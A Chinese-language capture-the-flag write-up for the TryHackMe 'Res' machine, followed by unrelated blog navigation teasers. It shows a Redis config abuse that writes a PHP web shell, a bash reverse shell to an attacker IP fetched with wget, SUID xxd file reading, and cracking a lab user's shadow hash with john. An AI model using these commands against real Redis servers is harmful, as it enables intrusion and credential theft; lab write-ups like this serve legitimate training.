[Day13] THM Res

今天这一题是针对 Redis 服务的攻击,对於打腻 Web 的人应该会觉得满有趣的(?)。

扫 Port

  • 先来老梗的 nmap -A 10.10.149.195
    •   Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT
        Nmap scan report for 10.10.149.195
        Host is up (0.29s latency).
        Not shown: 999 closed ports
        PORT   STATE SERVICE VERSION
        80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
        |_http-server-header: Apache/2.4.18 (Ubuntu)
        |_http-title: Apache2 Ubuntu Default Page: It works
        ![](https://i.imgur.com/3PG5lnw.png)
      
    • 只看到开启 80 Port
  • python3 dirsearch.py -u http://10.10.149.195/ -e all
    • 发现完全没东西
  • 我们试着对所有 Port 进行扫描
    • nmap 如果不带参数只会扫常见的 port 而已
    • nmap -p- 10.10.149.195
      • 发现有开 6379 port
  • 问题
    • Scan the machine, how many ports are open
      • 2 个 Port
      • 80 与 6379
    • What's is the database management system installed on the server?
      • 6379 是 redis
    • What port is the database management system running on?
      • 6379
  • 透过 nmap -A 观察版本
    • nmap -p6379 -A 10.10.149.195
    • 可以看到是 6.0.7
  • 问题
    • What's is the version of management system installed on the server?
    • 6.0.7

写入 Shell

  • 使用 redis cli 进行连线
    • redis-cli -h 10.10.149.195
      • 连线
  • 写入 phpinfo 测试
    • config set dir "/var/www/html"
      • 设定写入路径为 /var/www/html
    • config set dbfilename meow.php
      • 设定档名为 meow.php
    • set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
      • 档案内容为 phpinfo
    • save
    • 用浏览器访问 /meow.php
      • 发现可以顺利地看到 phpinfo
  • 写入 web shell
    • config set dbfilename shell.php
    • set x "\r\n\r\n<?php system($_GET[A]);?>\r\n\r\n"
    • save
      • 可以顺利的使用 Webshell

Reverse shell

  • 本地端准备
    • bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'
    • 存在 s 档案中
    • 并使用 python3 -m http.server 开启网页服务器
  • 远端下载 shell 档案
    • http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s
  • 执行 reverse shell
    • 本地端准备 nc -vlk 7877
    • 访问 http://10.10.149.195/shell.php?A=bash%20/tmp/s
      • 成功接上 reverse shell!!
  • 取得 user flag
    • 档案在 /home/vianka/user.txt

提权

  • 使用 Linpeas
    • wget 10.13.21.55:8000/linpeas.sh
      • 下载 linpeas
    • bash linpeas.sh | tee out.txt
      • 执行
    • 发现有标颜色的 suid
      • 我们发现 xxd 可以用来提权
  • GTFobins 找到 SUID xxd 读档

爆破密码

  • 复制 vianka 的 hash 到本地端

    • vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::
  • 呼叫约翰破密码

    • john j.txt --wordlist=/opt/rockyou.txt
    • 成功破解密码为 beautiful1
  • 切换使用者

    • su vianka
      • 切换使用者,并切换密码为 beautiful1
  • 再次提权起手式

    • 输入 sudo -l
      • 发现使用者可以用 sudo
  • 使用 sudo su 切换到 root

    • 成功取得 root flag

<<:  TailwindCSS 从零开始 - 使用官方套件,以 typography 为例

>>:  [Day13] Containers

写在前面

关於我 大家好,我是 TD,目前在南方的小岛上担任菜鸟软件工程师。大学不是主修 CS 或资讯相关科...

#29 Electron 打包应用程序

今天我们来用 electron-forge 打包程序。 新增 electron-forge 到专案 ...

模型的内容01

到此为止,若一切顺利,表示NNI安装正确,功能一切正常。但整个流程究竟在做甚麽事情呢? 首先,我们在...

JavaScript Day14 - event(1)

event event(事件):在 DOM 物件上所发生的事件,如点击、滑动、变更等都是 事件处理与...

JavaScript IIFE (立即函数)

甚麽是立即函数? IIFE (Immediately Invoked Function Expres...